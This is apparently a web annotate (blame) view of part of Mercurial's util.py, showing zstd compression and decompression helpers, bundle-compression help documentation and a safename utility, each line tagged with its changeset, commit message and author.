util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3770 if chunk: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3771 chunks.append(chunk) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3772 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3773 chunks.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3774 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3775 if sum(map(len, chunks)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3776 return ''.join(chunks) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3777 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3778 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3779 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3780 insize = len(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3781 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3782 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3783 # This was measured to be faster than other streaming |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3784 # decompressors. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3785 dobj = self._dctx.decompressobj() |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3786 chunks = [] |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3787 pos = 0 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3788 while pos < insize: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3789 pos2 = pos + self._decompinsize |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3790 chunk = dobj.decompress(data[pos:pos2]) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3791 if chunk: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3792 chunks.append(chunk) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3793 pos = pos2 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3794 # Frame should be exhausted, so no finish() API. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3795 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3796 return ''.join(chunks) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3797 except Exception as e: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3798 raise error.RevlogError(_('revlog decompress error: %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3799 str(e)) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3800 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3801 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3802 opts = opts or {} |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3803 return self.zstdrevlogcompressor(self._module, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3804 level=opts.get('level', 3)) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3805 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3806 compengines.register(_zstdengine()) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3807 |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3808 def bundlecompressiontopics(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3809 """Obtains a list of available bundle compressions for use in help.""" |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3810 # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3811 items = {} |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3812 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3813 # We need to format the docstring. So use a dummy object/type to hold it |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3814 # rather than mutating the original. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3815 class docobject(object): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3816 pass |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3817 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3818 for name in compengines: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3819 engine = compengines[name] |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3820 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3821 if not engine.available(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3822 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3823 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3824 bt = engine.bundletype() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3825 if not bt or not bt[0]: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3826 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3827 |
31811
d955b02d8ec6
util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents:
31792
diff
changeset
|
3828 doc = pycompat.sysstr('``%s``\n %s') % ( |
d955b02d8ec6
util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents:
31792
diff
changeset
|
3829 bt[0], engine.bundletype.__doc__) |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3830 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3831 value = docobject() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3832 value.__doc__ = doc |
33818
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3833 value._origdoc = engine.bundletype.__doc__ |
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3834 value._origfunc = engine.bundletype |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3835 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3836 items[bt[0]] = value |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3837 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3838 return items |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3839 |
33820
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3840 i18nfunctions = bundlecompressiontopics().values() |
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3841 |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3842 # convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3843 dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3844 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3845 def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3846 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3847 Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3848 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3849 f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3850 tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3851 ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3852 others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3853 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3854 Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3855 in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3856 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3857 if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3858 others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3859 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3860 fn = '%s~%s' % (f, tag) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3861 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3862 return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3863 for n in itertools.count(1): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3864 fn = '%s~%s~%s' % (f, tag, n) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3865 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3866 return fn |